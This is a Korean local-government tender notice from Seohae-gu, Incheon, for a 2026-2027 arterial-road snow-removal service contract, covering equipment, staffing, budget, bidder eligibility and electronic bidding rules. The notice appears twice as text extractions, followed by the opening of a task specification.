===== 공고문 [2026~2027 구(간선도로) 제설대책 민간대행용역].hwpx =====
인천광역시 서해구 공고 제2026-2117호
-국가종합전자조달(G2B)-
(긴급)용 역 입 찰 공 고
1. 입찰에 부치는 사항
용역명
2026-2027 구(간선도로) 제설대책 민간대행용역
용역기간
착수일로부터 2027년 3월 15일까지
용역내용
장비: 덤프트럭(15톤) 9대 이상, 백호(0.6㎥ 이상) 1대 이상
인력: 작업반장(상황요원) 1명, 작업원 4명 이상, 운전원 10명 이상
기타: 제설작업 현장사무실 설치 및 운영 등(세부사항 과업지시서 참조)
용역위치
인천광역시 서해구 관내 간선도로
과업범위
과업지시서 참조
기초금액(a+b)
348,876,000
원
입찰서접수개시일시
2026년10월19일 18:00
추정가격(a)
317,160,000
원
입찰서접수마감일시
2026년10월27일 10:00
부가가치세(b)
31,716,000
원
개 찰 일 시
2026년10월27일 11:00
가격개찰장소
재무과 입찰관 PC
재입찰등록마감기한
2026년10월27일 15:00
※ 자세한 과업내용은 우리 구 도로과(032-560-4523)로 문의하시기 바라며, 그 내용을 열람하지 아니하여 발생하는 책임은 입찰참가자에게 있습니다.
※ 전산장애 발생 시 개찰시간이 늦어지거나 연기될 수 있습니다. 예정가격초과 또는 낙찰하한선 미달 사유로 낙찰 예정자가 없는 경우에 한정하여, 재입찰을 실시하며, 재입찰 사유가 발생할 경우, 우리 구에서는 별도의 연락 없이 국가종합전자조달시스템(나라장터)으로 재입찰을 실시할 예정이오니 마감기한 내 응찰하여 주시기 바라며, 이 때 예비가격은 신규작성합니다.
- 전자입찰등록 마감기한: 2026. 10. 27. 15:00까지
- 전자입찰집행(개찰)일시 및 장소: 2026 10. 27. 16:00, 입찰집행관 PC
2. 입찰 및 계약방식
가. 본 용역은 전자입찰, 총액계약, 적격심사 대상 용역입니다.
나. 제한경쟁(인천광역시) 대상 용역입니다.
다. 본 기초금액은 부가가치세가 포함된 금액이므로 모든 응찰업체는 부가가치세를 포함한 가격으로 제출하여야 하며, 면세사업자와 계약체결 시 낙찰금액에서 부가가치세를 제외한 금액으로 체결합니다.
3. 입찰참가자격에 관한 사항
가. 공고일 현재 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제13조 및 동법 시행규칙 제14조의 규정에 의한 입찰참가자격을 갖추고, 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제92조의 규정에 의한 입찰참가자격 제한을 받지 않는 업체로서 입찰공고일 전일부터 개찰일(낙찰자는 계약일)까지 주된 영업소의 소재지가 인천광역시에 위치한 업체로서 아래의 자격을 충족하는 업체
1) 건설기계관리법 제21조 및 동법 시행령 제13조제2항에 의한 일반건설기계대여업 또는 개별건설기계대여업) 또는 동법 시행규칙 제57조에 의한 건설기계대여업연명신고사업자 등록을 필한 업체로서 아래의 사항을 충족하는 업체
장비
15톤 덤프트럭 9대 이상, 백호(0.6㎡이상) 1대 이상
인력
작업반장(상황요원) 1명, 작업원 4명 이상, 운전원 10명 이상
기타
제설작업 현장사무실 설치 및 운영 등(세부사항 과업지시서 참조)
※ 적격심사 서류 제출 시 인력 및 장비에 대한 보유증명서(또는 임대차계약서) 및 보험 증권을 도로과 경유 후 제출(미 제출시 적격심사 대상에서 제외)
나. 본 용역은 공동수급을 허용하지 않습니다.
다.. 본 용역은 하도급을 허용하지 않습니다.
4. 입찰서 제출방법
가. 본 입찰은 전자입찰로만 집행하며, 한번 제출한 입찰서는 취소하거나 수정할 수 없습니다. 단, 국가종합전자조달시스템 전자입찰 유의서 제8조에 따라 입찰의 취소를 신청할 수 있습니다.
나. 입찰서는 반드시 조달청 국가종합전자조달시스템(http://www.g2b.go.kr)을 이용하여 제출하여야 하며, 입찰서 제출기간 중에는 24시간 제출이 가능합니다.
다. 조달청 입찰참가자격 미 등록업체는 조달청 입찰참가자격 등록 규정에 따라 입찰서 제출 마감일 전일까지 등록하여야 합니다. (문의처 : 조달청 콜센터 ☎ 1588-0800)
라. 전자입찰서의 제출마감시간에 장애가 발생할 수 있으므로 가능한 한 마감 1시간 전까지 투찰을 완료하여 주시기 바랍니다.
마. 지문보안토큰 사용의무가 폐지됨에 따라 다음의 방법 중 하나를 임의로 선택하여 입찰에 참여할 수 있습니다. ※ 문의처 : 조달청 콜센터 대표번호(1588-0800)
1) 기존에 기 등록된 입찰자(대표자, 대리인)에 변경이 없는 경우
- (1안): 지문보안토큰을 사용하여 입찰 참여 (기존과 동일)
- (2안): 조달청에 “지문인식 신원확인 예외 신청” 후 사업자용 인증서와 입찰자 ‘개인용 인증서’를 이용하여 입찰 참여
2) 신규로 입찰참가자격을 등록한 업체 또는 기존 조달업체가 입찰자(대표자, 대리인)를 변경한 경우
- 조달청에 “지문인식 신원확인 예외 신청” 후 사업자용 인증서와 입찰자 ‘개인용 인증서’를 이용하여 입찰에 참여
5. 예정가격 및 낙찰자 결정 방법
가. 본 용역은 입찰서에 산출내역서를 첨부하지 않는 총액입찰로 적격심사 대상 용역입니다.
나. 예정가격은 기초금액의 <hp:fwSpace/>±3% 범위 내에서 정한 복수예비가격 15개를 작성, 입찰참가자가 2개씩 전자 추첨하여 가장 많이 선택된 4개의 예비가격을 산술 평균한 가격으로 합니다. (「지방자치단체 입찰 및 계약집행기준」제2장 예정가격 작성요령)
다. 낙찰자 결정은 예정가격이하 최저가(낙찰하한율: 86.745%) 입찰자 순으로 「인천광역시 일반용역 적격심사 세부기준」(인천광역시 예규) [별표 1] 일반용역 적격심사 세부기준 3. 추정가격이 5억원 미만 2억원 이상인 일반용역에 의거 평가를 실시하여 종합점수가 95점 이상인 자를 낙찰자로 결정합니다.
※ 인천광역시 계약정보공개시스템→관련정보→계약법규
라. 적격심사와 관련하여 평가기준은 [별표5 – 용역 분야별 평가방법]에 따르며 다음과 같습니다.
1) 이행실적은 입찰공고일 기준 최근 5년(창업기업, 소기업·소상공인은 최근 7년) 이내 준공(완성)한 공공기관의 확인을 받은 동종용역의 이행실적(실적누계금액, 평가기준금액 : 금348,876,000원_부가세 포함)을 인정합니다.
※ 발주부서(도로과 도로팀 조승준 주무관)의 확인을 받은 실적증명서 제출 시 이행실적으로 인정합니다.
※ 위 용역과 동시에 다른 용역을 수행한 경우, 실적증명서 등 증빙자료에 실적금액이 구분되어 기재된 실적만 인정합니다.
※ 민간회사의 이행실적은 세금계산서 사본(원본 제시), 계약서 사본 등 증빙자료를 첨부하여 실적증명서를 제출한 경우에 한하여 인정·평가합니다.
2) <hp:tab width="188" leader="0" type="1"/>경영상태 평가는 재무비율 평가와 신용평가등급에 따른 평가 중에서 입찰자가 선택한 방법으로 평가하고, 비영리법인은 신용평가방법으로 평가합니다.
※ 재무비율 평가 시 기준비율은 한국은행 발행 최근 연도“2024년 기업경영분석” 「기업경영분석자료」 J(N76. 임대업(부동산제외)) 부채비율: 152.45%, 유동비율: 69.15%, 매출순이익율: 8.04%, 자산회전율: 0.40%을 적용합니다.
3) 해당 용역은 공동수급은 불허하고 단독수급만 허용하므로, 지역업체 참여도 평가가 불필요하여 지역업체 참여도(3점)는 해당용역 수행능력 점수에 배점한도를 합산하여 평가합니다.
마. 동일가격으로 최저가 입찰자가 2인 이상인 경우에 적격심사 결과, 적격통과점수 이상인 자 중에서 최고점수인 자를 낙찰자로 결정하며, 동일 최고점수인 자가 2인 이상인 경우 전자조달시스템을 통한 자동추첨방식으로 결정합니다.
바. 입찰가격점수와 다른 심사분야의 배점한도를 합산한 종합평점이 적격통과점수에 미달하는 입찰자 및 부적격업체에게는 별도 통보를 하지 아니하고, 적격심사대상자는 가격입찰결과 1순위 업체에게만 개별 통지하며, 심사결과 적격대상자가 아닌 경우 차순위 순으로 계속 심사하여 결정합니다.
사. 적격심사대상자는 적격심사서류 제출을 통보 받은 날로부터 7일 이내에 적격심사 서류 원본을 제출하여야 합니다.
아. 적격심사 후 낙찰(예정)자로 선정되어 통보된 업체도 부적격사유 발생 시 낙찰이 취소될 수 있습니다.
자. 부정한 방법으로 서류를 제출한 자 및 미제출자는 동 세부기준 제6조의 규정에 의거 조치하며 입찰가격 순위에 따라 적격심사대상 업체로서 적격통과점수에 미달된다고 판단되는 업체에서는 적격심사포기서를 제출하여야 합니다.
차. 이 밖에 기타 사항은 지방자치단체 입찰 및 계약집행기준 및 인천광역시 일반용역 적격심사 세부기준를 참고하시기 바랍니다.
6. 용역근로자 근로조건 보호조치 준수
가. 적격심사 시 근로조건 이행확약서를 제출하여야 합니다.
나. 계약상대자는 용역기간 중 용역근로자 근로조건 보호와 관련한 내용을 이행하여야 하며, 위반 시 계약해지 및 향후 입찰참가자격을 제한 받을 수 있습니다.
7. 입찰보증금 납부 및 세입조치
「지방자치단체를 당사자로 하는 계약에 관한 법률 시행령」제37조 제3항의 규정에 따라, 입찰에 참여하는 모든 사업자에 대하여 입찰보증금은 납부 면제하되, 입찰보증금지급확약서를 제출(전자입찰서 제출로 갈음)하여야 하며, 귀속사유가 발생하면 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제38조의 규정에 따라 낙찰금액의 5/100에 해당하는 입찰보증금을 현금으로 징수하며, 부정당업자로 입찰참가 자격제한 처분을 합니다.
8. 입찰의 무효에 관한 사항
가. 「지방자치단체를 당사자로 하는 계약에 관한 법률」 시행령 제39조 및 같은 법 시행규칙 제42조, 지방자치단체 입찰 및 계약집행기준(제11장 입찰유의서) 규정에 의합니다.
※ 입찰에 참여하는 자는 조달청 경쟁입찰 참가자격등록증의 정보와 법인등기부 등본상의 정보가 정확히 일치하는지의 여부를 반드시 확인하신 후 입찰에 참여하여 주시기 바랍니다. 특히, 대표자, 상호, 소재지, 면허사항 등 위의 등록사항에 변경등록을 하지 아니하고 입찰에 참여한 경우에는 ‘지방자치단체를 당사자로 하는 계약에 관한 법률 시행규칙 제42조’에 의하여 입찰무효 사유에 해당됨을 유념하시기 바랍니다. 따라서 나라장터 입찰에 참가하는 자, 특히 입찰대리인은 입찰 당시 반드시 입찰참가 업체에 재직 중인 임직원이어야 합니다.
※ 한 업체의 소속 대표자 중 1인이 다른 업체의 대표자를 겸임할 경우 해당 업체들이 하나의 입찰에 동시 참여하면 동일인이 2통의 입찰서를 제출한 것으로 간주되어 모두 무효 입찰로 처리됩니다. 이에 따라 대표자가 2인 이상인 업체의 경우 조달청 입찰참가자격 등록 시 대표자 전원을 등록하여야 하고 현재 1인만 등록된 경우에는 변경 등록을 하여야 하며, 변경 등록을 하지 아니하고 입찰에 참가한 자는 지방계약법 시행규칙 제42조 제5호 나목에 의하여 입찰 무효 사유에 해당됩니다.
나. 개찰 결과 1순위 업체는 계약담당 공무원의 요청이 있는 경우 입찰참가자 자격 여부 확인을 위한 증명자료로 다음의 서류*를 제출해야 합니다.
* 4대 보험 중 어느 하나 가입 증명자료, 법인의 경우 등기부등본에 등재된 임원 증명자료 등
9. 청렴계약이행 준수
입찰에 참가하는 모든 업체는 우리 구 청렴계약이행특수조건을 완전히 숙지하고 입찰에 응하시기 바라며, 아울러 모든 업체는 우리 구 청렴계약이행서약서를 제출한 것으로 간주하되 낙찰자는 청렴계약이행서약서를 제출하여야 합니다.
10. 안전 및 보건 확보 의무
가. 본 입찰에 참가하고자 하는 자는 「중대재해 처벌 등에 관한 법률」에 따라 종사자의 안전·보건상 유해 또는 위험을 방지하고 그 이용자 또는 그 밖의 사람의 생명, 신체의 안전을 위하여 해당 사업의 특성 및 규모 등을 고려하여 다음과 같이 조치사항을 이행하여야 합니다.
《 계약업체의 안전 및 보건 확보 의무사항 (법 제4조, 제9조) 》
① 재해예방에 필요한 인력 · 예산 · 점검 등 안전보건관리체계의 구축 및 그 이행에 관한 조치
② 재해 발생 시 재발방지 대책의 수립 및 그 이행에 관한 조치
③ 중앙행정기관 · 지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항의 이행에 관한 조치
④ 안전 · 보건 관계 법령에 따른 의무이행에 필요한 관리상의 조치
나. 또한 입찰참가자는 중대재해 예방을 위한 「안전보건관리 준수 서약서」를 숙지하신 후 입찰에 응하여야 하며, 입찰서를 제출한 자는 「안전보건관리 준수 서약서」를 제출한 것으로 간주합니다. 다만 계약 체결 시에는 낙찰업체의 대표자가 서명한 서약서를 제출해야 합니다.
11. 기타 사항
가. 개찰 결과 기초금액 및 기타 본 공고와 상이한 내용으로 개찰이 진행되었을 경우 개찰 결과를 무효로 하고 재공고 입찰을 실시합니다.
나. 미자격자가 입찰에 참가하였을 경우 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제92조에 의거 부정당업자로 제재될 수 있음을 유념하시기 바랍니다.
다. 본 공고서 해석에 있어 분쟁의 소지가 있을 시 발주청의 해석이 우선합니다.
라. 입찰참가 희망업체의 전산장비 등 준비부족으로 인하여 전자입찰등록 및 투찰이 곤란할 경우에는 조달청 전자입찰 콜센터(1588-0800)에 문의하여 주시기 바라며, 장애발생에도 불구하고 문의를 하지 않아 발생되는 모든 책임은 입찰참가자에게 있습니다.
마. 입찰참가자는 반드시 입찰공고문(사업 내용, 조건), 과업지시서, 「지방자치단체 입찰시 낙찰자 결정기준」(행정안전부 예규), 지방자치단체 입찰 및 계약집행기준, 지방자치단체용역계약일반조건, 청렴계약입찰특별유의서, 청렴계약특수조건 등을 숙지하고 입찰에 참가하여야 하며, 숙지하지 못하여 발생하는 책임은 입찰참가자에게 있습니다.
바. 낙찰자는 대금청구시 청구금액의 2%에 해당하는 인천광역시 지역개발 채권을 매입하여야 합니다.
사. 본 입찰건과 관련하여 우리 구 직원이 금품, 향응 등 부당한 요구를 할 경우 인천 서해구 행동강령책임관 (☏ 032-560-4038)에게 신고하여 주시기 바랍니다.
아. 낙찰대상자로 선정된 업체는 조달청 나라장터(G2B) 시스템 등을 통해 낙찰자 통지를 받은 후 10일 이내 G2B 시스템을 이용한 전자계약을 체결하여야 합니다.
자. 계약이행의 적정성을 확보하고 계약대금은 계약이행과 관련된 경비 및 사업비로만 지출되어야 함으로, 본 용역에 의하여 발생한 채권(용역대금청구권) 양도양수를 원칙적으로 허용하지 않습니다.
12. 보충정보 제공처
가. 전자입찰 이용안내 : 조달청 전자조달 콜센터 (☎ 1588-0800)
나. 용역에 관한 사항 : 인천광역시 서해구 도로과 조승준 주무관(☎ 032-560-4523)
다. 입찰에 관한 사항 : 인천광역시 서해구 재무과 송혜인 주무관(☎ 032-560-4156)
위와 같이 전자입찰 공고합니다.
2026년 10월 19일
인천광역시 서해구 재무관
===== 공고문 [2026~2027 구(간선도로) 제설대책 민간대행용역].pdf =====
인천광역시 서해구 공고 제2 0 2 6 -2 1 1 7 호
-국가종합전자조달(G2B)-
(긴급)용 역 입 찰 공 고
1. 입찰에 부치는 사항
용
역 명
2026-2027 구(간선도로) 제설대책 민간대행용역
용 역 기 간 착수일로부터 2027년 3월 15일까지 용 역 내 용
장비: 덤프트럭(15톤) 9대 이상, 백호(0.6㎥ 이상) 1대 이상
인력: 작업반장(상황요원) 1명, 작업원 4명 이상, 운전원 10명 이상
기타: 제설작업 현장사무실 설치 및 운영 등(세부사항 과업지시서 참조)
용 역 위 치 인천광역시 서해구 관내 간선도로 과 업 범 위 과업지시서 참조 기초금액(a+b) 348,876,000 원 입찰서접수개시일시 2026년10월19일 18:00 추정가격(a) 317,160,000 원 입찰서접수마감일시 2026년10월27일 10:00 부가가치세(b) 31,716,000 원 개 시 2026년10월27일 11:00 가격개찰장소 재무과 입찰관 PC 재입찰등록마감기한 2026년10월27일 15:00 찰 일
※ 자세한 과업내용은 우리 구 도로과(032-560-4523)로 문의하시기 바라며, 그 내용을 열람하지
아니하여 발생하는 책임은 입찰참가자에게 있습니다.
※ 전산장애 발생 시 개찰시간이 늦어지거나 연기될 수 있습니다. 예정가격초과 또는 낙찰하한선 미
달 사유로 낙찰 예정자가 없는 경우에 한정하여, 재입찰을 실시하며, 재입찰 사유가 발생할 경우,
우리 구에서는 별도의 연락 없이 국가종합전자조달시스템(나라장터)으로 재입찰을 실시할 예정이오
니 마감기한 내 응찰하여 주시기 바라며, 이 때 예비가격은 신규작성합니다.
- 전자입찰등록 마감기한: 2026. 10. 27. 15:00까지
- 전자입찰집행(개찰)일시 및 장소: 2026 10. 27. 16:00, 입찰집행관 PC
2. 입찰 및 계약방식
가. 본 용역은 전자입찰, 총액계약, 적격심사 대상 용역입니다.
나. 제한경쟁(인천광역시) 대상 용역입니다.
다. 본 기초금액은 부가가치세가 포함된 금액이므로 모든 응찰업체는 부가가치세를 포함한 가격으로 제출
하여야 하며, 면세사업자와 계약체결 시 낙찰금액에서 부가가치세를 제외한 금액으로 체결합니다.
3. 입찰참가자격에 관한 사항
가. 공고일 현재 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제13조 및 동법 시행규칙 제14
조의 규정에 의한 입찰참가자격을 갖추고, 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령 제
92조의 규정에 의한 입찰참가자격 제한을 받지 않는 업체로서 입찰공고일 전일부터 개찰일(낙찰자는
계약일)까지 주된 영업소의 소재지가 인천광역시에 위치한 업체로서 아래의 자격을 충족하는 업체
1) 건설기계관리법 제21조 및 동법 시행령 제13조제2항에 의한 일반건설기계대여업 또는 개별건설기
계대여업) 또는 동법 시행규칙 제57조에 의한 건설기계대여업연명신고사업자 등록을 필한
업체로서 아래의 사항을 충족하는 업체
장비
15톤 덤프트럭 9대 이상, 백호(0.6㎡이상) 1대 이상
인력
작업반장(상황요원) 1명, 작업원 4명 이상, 운전원 10명 이상
기타
제설작업 현장사무실 설치 및 운영 등(세부사항 과업지시서 참조)
※ 적격심사 서류 제출 시 인력 및 장비에 대한 보유증명서(또는 임대차계약서) 및 보험 증권
을 도로과 경유 후 제출(미 제출시 적격심사 대상에서 제외)
나. 본 용역은 공동수급을 허용하지 않습니다.
다.. 본 용역은 하도급을 허용하지 않습니다.
4. 입찰서 제출방법
가. 본 입찰은 전자입찰로만 집행하며, 한번 제출한 입찰서는 취소하거나 수정할 수 없습니다.
단, 국가종합전자조달시스템 전자입찰 유의서 제8조에 따라 입찰의 취소를 신청할 수 있습니다.
나. 입찰서는 반드시 조달청 국가종합전자조달시스템(http://www.g2b.go.kr)을 이용하여 제출하
여야 하며, 입찰서 제출기간 중에는 24시간 제출이 가능합니다.
다. 조달청 입찰참가자격 미 등록업체는 조달청 입찰참가자격 등록 규정에 따라 입찰서 제출 마
감일 전일까지 등록하여야 합니다. (문의처 : 조달청 콜센터 ☎ 1588-0800)
라. 전자입찰서의 제출마감시간에 장애가 발생할 수 있으므로 가능한 한 마감 1시간 전까지 투찰을
완료하여 주시기 바랍니다.
마. 지문보안토큰 사용의무가 폐지됨에 따라 다음의 방법 중 하나를 임의로 선택하여 입찰에 참여
할 수 있습니다. ※ 문의처 : 조달청 콜센터 대표번호(1588-0800)
1) 기존에 기 등록된 입찰자(대표자, 대리인)에 변경이 없는 경우
- (1안): 지문보안토큰을 사용하여 입찰 참여 (기존과 동일)
- (2안): 조달청에 “지문인식 신원확인 예외 신청” 후 사업자용 인증서와 입찰자 ‘개인용 인증
서’를 이용하여 입찰 참여
2) 신규로 입찰참가자격을 등록한 업체 또는 기존 조달업체가 입찰자(대표자, 대리인)를 변경한 경우
- 조달청에 “지문인식 신원확인 예외 신청” 후 사업자용 인증서와 입찰자 ‘개인용 인증서’를
이용하여 입찰에 참여
5. 예정가격 및 낙찰자 결정 방법
가. 본 용역은 입찰서에 산출내역서를 첨부하지 않는 총액입찰로 적격심사 대상 용역입니다.
나. 예정가격은 기초금액의 ±3% 범위 내에서 정한 복수예비가격 15개를 작성, 입찰참가자가 2
개씩 전자 추첨하여 가장 많이 선택된 4개의 예비가격을 산술 평균한 가격으로 합니다.
(「지방자치단체 입찰 및 계약집행기준」제2장 예정가격 작성요령)
다. 낙찰자 결정은 예정가격이하 최저가(낙찰하한율: 86.745%) 입찰자 순으로 「인천광역시 일반
용역 적격심사 세부기준」(인천광역시 예규) [별표 1] 일반용역 적격심사 세부기준 3. 추정가
격이 5억원 미만 2억원 이상인 일반용역에 의거 평가를 실시하여 종합점수가 95점 이상인
자를 낙찰자로 결정합니다.
※ 인천광역시 계약정보공개시스템→관련정보→계약법규
라. 적격심사와 관련하여 평가기준은 [별표5 용역 분야별 평가방법]에 따르며 다음과 같습니다.
1) 이행실적은 입찰공고일 기준 최근 5년(창업기업, 소기업·소상공인은 최근 7년) 이내 준공
(완성)한 공공기관의 확인을 받은 동종용역의 이행실적(실적누계금액, 평가기준금액 : 금
348,876,000원_부가세 포함)을 인정합니다.
※ 발주부서(도로과 도로팀 조승준 주무관)의 확인을 받은 실적증명서 제출 시 이행실적으로 인정합니다.
※ 위 용역과 동시에 다른 용역을 수행한 경우, 실적증명서 등 증빙자료에 실적금액이 구분되어
기재된 실적만 인정합니다.
※ 민간회사의 이행실적은 세금계산서 사본(원본 제시), 계약서 사본 등 증빙자료를 첨부하여 실적
증명서를 제출한 경우에 한하여 인정·평가합니다.
2) 경영상태 평가는 재무비율 평가와 신용평가등급에 따른 평가 중에서 입찰자가 선택한 방법
으로 평가하고, 비영리법인은 신용평가방법으로 평가합니다.
※ 재무비율 평가 시 기준비율은 한국은행 발행 최근 연도“2024년 기업경영분석” 「기업경영분석
자료」 J( N76. 임대업(부동산제외)) 부채비율: 152.45%, 유동비율: 69.15%, 매출순이익율:
8.04%, 자산회전율: 0.40%을 적용합니다.
3) 해당 용역은 공동수급은 불허하고 단독수급만 허용하므로, 지역업체 참여도 평가가 불필요하여
지역업체 참여도(3점)는 해당용역 수행능력 점수에 배점한도를 합산하여 평가합니다.
마. 동일가격으로 최저가 입찰자가 2인 이상인 경우에 적격심사 결과, 적격통과점수 이상인 자 중
에서 최고점수인 자를 낙찰자로 결정하며, 동일 최고점수인 자가 2인 이상인 경우 전자조달시
스템을 통한 자동추첨방식으로 결정합니다.
바. 입찰가격점수와 다른 심사분야의 배점한도를 합산한 종합평점이 적격통과점수에 미달하는 입찰자
및 부적격업체에게는 별도 통보를 하지 아니하고, 적격심사대상자는 가격입찰결과 1순위 업체에게
만 개별 통지하며, 심사결과 적격대상자가 아닌 경우 차순위 순으로 계속 심사하여 결정합니다.
사. 적격심사대상자는 적격심사서류 제출을 통보 받은 날로부터 7일 이내에 적격심사 서류 원본을
제출하여야 합니다.
아. 적격심사 후 낙찰(예정)자로 선정되어 통보된 업체도 부적격사유 발생 시 낙찰이 취소될 수 있습니다.
자. 부정한 방법으로 서류를 제출한 자 및 미제출자는 동 세부기준 제6조의 규정에 의거 조치하며
입찰가격 순위에 따라 적격심사대상 업체로서 적격통과점수에 미달된다고 판단되는 업체에서는
적격심사포기서를 제출하여야 합니다.
차. 이 밖에 기타 사항은 지방자치단체 입찰 및 계약집행기준 및 인천광역시 일반용역 적격심사 세부기준
를 참고하시기 바랍니다.
6. 용역근로자 근로조건 보호조치 준수
가. 적격심사 시 근로조건 이행확약서를 제출하여야 합니다.
나. 계약상대자는 용역기간 중 용역근로자 근로조건 보호와 관련한 내용을 이행하여야 하며, 위반 시
계약해지 및 향후 입찰참가자격을 제한 받을 수 있습니다.
7. 입찰보증금 납부 및 세입조치
「지방자치단체를 당사자로 하는 계약에 관한 법률 시행령」제37조 제3항의 규정에 따라, 입찰에
참여하는 모든 사업자에 대하여 입찰보증금은 납부 면제하되, 입찰보증금지급확약서를 제출(전자
입찰서 제출로 갈음)하여야 하며, 귀속사유가 발생하면 지방자치단체를 당사자로 하는 계약에 관
한 법률 시행령 제38조의 규정에 따라 낙찰금액의 5/100에 해당하는 입찰보증금을 현금으로 징수
하며, 부정당업자로 입찰참가 자격제한 처분을 합니다.
8. 입찰의 무효에 관한 사항
가. 「지방자치단체를 당사자로 하는 계약에 관한 법률」 시행령 제39조 및 같은 법 시행규칙 제
42조, 지방자치단체 입찰 및 계약집행기준(제11장 입찰유의서) 규정에 의합니다.
※ 입찰에 참여하는 자는 조달청 경쟁입찰 참가자격등록증의 정보와 법인등기부 등본상의 정보가 정확히 일치하
는지의 여부를 반드시 확인하신 후 입찰에 참여하여 주시기 바랍니다. 특히, 대표자, 상호, 소재지, 면허사항
등 위의 등록사항에 변경등록을 하지 아니하고 입찰에 참여한 경우에는 ‘지방자치단체를 당사자로 하는 계약에
관한 법률 시행규칙 제42조’에 의하여 입찰무효 사유에 해당됨을 유념하시기 바랍니다. 따라서 나라장터 입찰에
참가하는 자, 특히 입찰대리인은 입찰 당시 반드시 입찰참가 업체에 재직 중인 임직원이어야 합니다.
※ 한 업체의 소속 대표자 중 1인이 다른 업체의 대표자를 겸임할 경우 해당 업체들이 하나의 입찰에 동시 참여하
면 동일인이 2통의 입찰서를 제출한 것으로 간주되어 모두 무효 입찰로 처리됩니다. 이에 따라 대표자가 2인
이상인 업체의 경우 조달청 입찰참가자격 등록 시 대표자 전원을 등록하여야 하고 현재 1인만 등록된 경우에
는 변경 등록을 하여야 하며, 변경 등록을 하지 아니하고 입찰에 참가한 자는 지방계약법 시행규칙 제42조 제5
호 나목에 의하여 입찰 무효 사유에 해당됩니다.
나. 개찰 결과 1순위 업체는 계약담당 공무원의 요청이 있는 경우 입찰참가자 자격 여부 확인을
위한 증명자료로 다음의 서류*를 제출해야 합니다.
* 4대 보험 중 어느 하나 가입 증명자료, 법인의 경우 등기부등본에 등재된 임원 증명자료 등
9. 청렴계약이행 준수
입찰에 참가하는 모든 업체는 우리 구 청렴계약이행특수조건을 완전히 숙지하고 입찰에 응하시기
바라며, 아울러 모든 업체는 우리 구 청렴계약이행서약서를 제출한 것으로 간주하되 낙찰자는
청렴계약이행서약서를 제출하여야 합니다.
10. 안전 및 보건 확보 의무
가. 본 입찰에 참가하고자 하는 자는 「중대재해 처벌 등에 관한 법률」에 따라 종사자의 안전·보
건상 유해 또는 위험을 방지하고 그 이용자 또는 그 밖의 사람의 생명, 신체의 안전을 위하
여 해당 사업의 특성 및 규모 등을 고려하여 다음과 같이 조치사항을 이행하여야 합니다.
《 계약업체의 안전 및 보건 확보 의무사항 (법 제4조, 제9조) 》
① 재해예방에 필요한 인력 · 예산 · 점검 등 안전보건관리체계의 구축 및 그 이행에 관한 조치
② 재해 발생 시 재발방지 대책의 수립 및 그 이행에 관한 조치
③ 중앙행정기관 · 지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항의 이행에 관한 조치
④ 안전 · 보건 관계 법령에 따른 의무이행에 필요한 관리상의 조치
나. 또한 입찰참가자는 중대재해 예방을 위한 「안전보건관리 준수 서약서」를 숙지하신 후 입찰에
응하여야 하며, 입찰서를 제출한 자는 「안전보건관리 준수 서약서」를 제출한 것으로 간주
합니다. 다만 계약 체결 시에는 낙찰업체의 대표자가 서명한 서약서를 제출해야 합니다.
11. 기타 사항
가. 개찰 결과 기초금액 및 기타 본 공고와 상이한 내용으로 개찰이 진행되었을 경우 개찰 결과를
무효로 하고 재공고 입찰을 실시합니다.
나. 미자격자가 입찰에 참가하였을 경우 지방자치단체를 당사자로 하는 계약에 관한 법률 시행령
제92조에 의거 부정당업자로 제재될 수 있음을 유념하시기 바랍니다.
다. 본 공고서 해석에 있어 분쟁의 소지가 있을 시 발주청의 해석이 우선합니다.
라. 입찰참가 희망업체의 전산장비 등 준비부족으로 인하여 전자입찰등록 및 투찰이 곤란할 경우
에는 조달청 전자입찰 콜센터(1588-0800)에 문의하여 주시기 바라며, 장애발생에도 불구하고
문의를 하지 않아 발생되는 모든 책임은 입찰참가자에게 있습니다.
마. 입찰참가자는 반드시 입찰공고문(사업 내용, 조건), 과업지시서, 「지방자치단체 입찰시 낙찰자
결정기준」(행정안전부 예규), 지방자치단체 입찰 및 계약집행기준, 지방자치단체용역계약일반
조건, 청렴계약입찰특별유의서, 청렴계약특수조건 등을 숙지하고 입찰에 참가하여야 하며, 숙
지하지 못하여 발생하는 책임은 입찰참가자에게 있습니다.
바. 낙찰자는 대금청구시 청구금액의 2%에 해당하는 인천광역시 지역개발 채권을 매입하여야 합니다.
사. 본 입찰건과 관련하여 우리 구 직원이 금품, 향응 등 부당한 요구를 할 경우 인천 서해구 행동
강령책임관 (☏ 032-560-4038)에게 신고하여 주시기 바랍니다.
아. 낙찰대상자로 선정된 업체는 조달청 나라장터(G2B) 시스템 등을 통해 낙찰자 통지를 받은
후 10일 이내 G2B 시스템을 이용한 전자계약을 체결하여야 합니다.
자. 계약이행의 적정성을 확보하고 계약대금은 계약이행과 관련된 경비 및 사업비로만 지출되어야 함
으로, 본 용역에 의하여 발생한 채권(용역대금청구권) 양도양수를 원칙적으로 허용하지 않습니다.
12. 보충정보 제공처
가. 전자입찰 이용안내 : 조달청 전자조달 콜센터 (☎ 1588-0800)
나. 용역에 관한 사항 : 인천광역시 서해구 도로과 조승준 주무관(☎ 032-560-4523)
다. 입찰에 관한 사항 : 인천광역시 서해구 재무과 송혜인 주무관(☎ 032-560-4156)
위와 같이 전자입찰 공고합니다.
2026년 10월 19일
인천광역시 서해구 재무관
===== 과업지시서[2026-2027 구(간선도로) 제설대책 민간대행용역].hwpx =====
2026-2027 구(간선도로)
제설대책 민간대행 용역
과업내용서
인천광역시 서해구
(도 로 과)
용 역 설 명 서
1. 용 역 명 : 2026-2027년 구(간선도로) 제설대책 민간대행 용역
2. 용역기간 : 착수일로부터 ~ 2026. 3. 15.까지
3. 과업구간 : 서해구 관내 간선도로(검단지역 제외)
4. 용역목적
○ 본 용역은 겨울철 제설대책 기간중 강설 등에 따른 주민통행 불편 해소 및 제설작업의 효율성 증대, 신속성 확보에 만전을 기하고자 시행함.
5. 설계 및 변경조건
○ 본 용역은 강설예보시 대기하고, 강설시 제설작업에 임하는 용역으로 기상여건 등으로 인해 계약물량 변동(증・감)이 발생될 수 있으므로, 강설 상황에 따라 신속히 대처하고 추후 정산처리 (과업내용서 참조)
6. 용역조건
가. 발주처
○ 제설제(염화칼슘, 소금 등), 제설제살포기 제공
